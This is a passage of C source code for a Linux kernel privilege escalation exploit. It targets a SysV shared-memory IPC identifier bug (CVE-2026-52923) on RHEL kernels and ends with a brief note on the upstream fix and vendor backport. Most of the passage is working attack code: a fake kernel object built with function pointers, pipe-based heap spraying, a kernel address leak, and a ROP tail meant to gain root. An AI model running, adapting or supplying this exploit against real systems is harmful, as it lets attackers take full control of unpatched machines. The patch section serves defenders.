put64(page, FAKE_INODE + 0x98, kbase + OFF_MSLEEP);
put64(page, FAKE_INODE + 0xa0, kbase + OFF_DO_EXIT);
/* Any stale pointer landing in a common-structure slot must be skipped
* by shm_try_destroy_orphaned instead of interpreting that structure. */
for (size_t slot = COMMON_FIRST_SLOT; slot <= COMMON_LAST_SLOT; slot++)
put64(page, slot * 0x100 + SHM_CLIST, 1);
memcpy(anchor_template, page, KNOWN_PAGE_BYTES);
printf("[+] fake shmid page=%#llx file=%#llx fops=%#llx\n",
(unsigned long long)page_address,
(unsigned long long)fake_file,
(unsigned long long)fake_fops);
}
static void spray_safe_order0_pages(void *unused)
{
unsigned char page[4096] = {0};
(void)unused;
for (size_t base = 0; base < sizeof(page); base += 0x100) {
uint64_t marker = 1;
memcpy(page + base + SHM_NATTCH, &marker, sizeof(marker));
memcpy(page + base + SHM_CLIST, &marker, sizeof(marker));
}
for (int i = 0; i < SAFE_PIPE_SPRAY; i++) {
if (pipe2(safe_pipe_fds[i], O_CLOEXEC) < 0)
die("pipe2(safe page)");
write_all(safe_pipe_fds[i][1], page, sizeof(page));
}
/* Create the later holders after address discovery but before releasing
* the recovered mm slab. Their metadata cannot steal its physical page. */
for (int i = 0; i < BRIDGE_CANDIDATES; i++)
if (pipe2(bridge_fds[i], O_CLOEXEC) < 0)
die("pipe2(bridge page)");
for (int i = 0; i < LATE_DRAIN_PAGES; i++)
if (pipe2(late_drain_fds[i], O_CLOEXEC) < 0)
die("pipe2(late drain page)");
for (int i = 0; i < FINAL_FAKE_PAGES; i++)
if (pipe2(final_fake_fds[i], O_CLOEXEC) < 0)
die("pipe2(final fake page)");
printf("[+] held %d pre-release order-0 pages; prepared %d+%d+%d later holders\n",
SAFE_PIPE_SPRAY, LATE_DRAIN_PAGES, BRIDGE_CANDIDATES,
FINAL_FAKE_PAGES);
}
/* Exercise only the invalid high-index SysV IPC lifetime. The child creates
* index 32767 and then the out-of-range 32768 object in its private IPC
* namespace. Forced teardown frees the high object through the truncated
* public ID while its real IDR slot remains reachable. No address leak,
* allocator bridge, reclaim payload, fake object, callback, or ROP is used. */
static int run_vuln_trigger(void)
{
pid_t pid;
int status;
drop_to_nobody_if_root();
enter_user_ipc_namespaces();
pid = fork();
if (pid < 0)
die("fork(trigger)");
if (!pid) {
int next_fd;
int tail, high;
if (unshare(CLONE_NEWIPC) < 0)
die("unshare(trigger ipc)");
write_text("/proc/sys/kernel/shmmni", "32768\n");
write_text("/proc/sys/kernel/shm_rmid_forced", "1\n");
next_fd = open("/proc/sys/kernel/shm_next_id", O_WRONLY | O_CLOEXEC);
if (next_fd < 0)
die("open(trigger shm_next_id)");
set_next_id_fd(next_fd);
tail = new_segment();
set_next_id_fd(next_fd);
high = new_segment();
printf("[trigger] tail=%d out_of_range=%d\n", tail, high);
if (tail != IPC_TAIL || high != IPC_TAIL + 1)
_exit(2);
close(next_fd);
_exit(0);
}
while (waitpid(pid, &status, 0) < 0)
if (errno != EINTR)
die("waitpid(trigger)");
if (!WIFEXITED(status) || WEXITSTATUS(status))
return 1;
sleep(2);
puts("[trigger] high-index namespace teardown completed");
return 0;
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
if (argc == 2 && !strcmp(argv[1], "--vuln-trigger"))
return run_vuln_trigger();
if (argc == 2)
return root_helper(argv[1]);
if (argc != 1) {
fprintf(stderr, "usage: %s [--vuln-trigger]\n", argv[0]);
return EXIT_FAILURE;
}
drop_to_nobody_if_root();
prepare_regular_helper();
if (!fork())
watch_payload_ready();
pin_cpu(0);
enter_user_ipc_namespaces();
safe_ns_fd = open("/proc/self/ns/ipc", O_RDONLY | O_CLOEXEC);
if (safe_ns_fd < 0)
die("open(safe ipc namespace)");
write_text("/proc/sys/kernel/shmmni", "32768\n");
safe_guard_queue = msgget(IPC_PRIVATE, IPC_CREAT | 0600);
if (safe_guard_queue < 0)
die("msgget(safe guard)");
prepare_shmid_defragmentation();
hold_kfence_pool();
prepare_victim_namespace();
for (int i = 0; i < ALIGN_COUNT; i++) {
consume_kfence_sample(safe_guard_queue);
align_ids[i] = new_segment();
}
printf("[+] aligned exact newseg cache with %d live objects\n",
ALIGN_COUNT);
prepare_safe_pipes();
/* Keep anchor socket metadata out of the soon-to-be-stale kmalloc
* population. Only their fragment pages are allocated after reclaim. */
known_page_prepare();
kernel_slide = leak_image_slide_checked() + RHEL_IMAGE_EDGE_BIAS;
printf("[+] kernel slide=%#llx\n", (unsigned long long)kernel_slide);
known_page = known_page_anchor(build_known_page, &kernel_slide,
spray_safe_order0_pages,
stale_reclaim_hook, NULL);
printf("[+] anchored controlled page=%#llx\n",
(unsigned long long)known_page);
pin_cpu(0);
if (setns(victim_ns_fd, CLONE_NEWIPC) < 0)
die("setns(victim scan)");
puts("[+] scanning 16 first-key-controlled stale entries");
write_text("/proc/sys/kernel/shm_rmid_forced", "1\n");
/* Successful exploitation completes in the independent pipe-helper
* watcher while this task sleeps in the non-returning ROP tail. */
sleep(2);
return EXIT_FAILURE;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in May 2026 and backported by RHEL on August 11. The fix bounds allocation to the range the IPC identifier can encode. Update to the vendor kernel containing the backport; on the demonstrated RHEL line, builds incorporating the August 11 correction are the relevant boundary.
The safest check is the distribution’s own kernel changelog for CVE-2026-52923;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
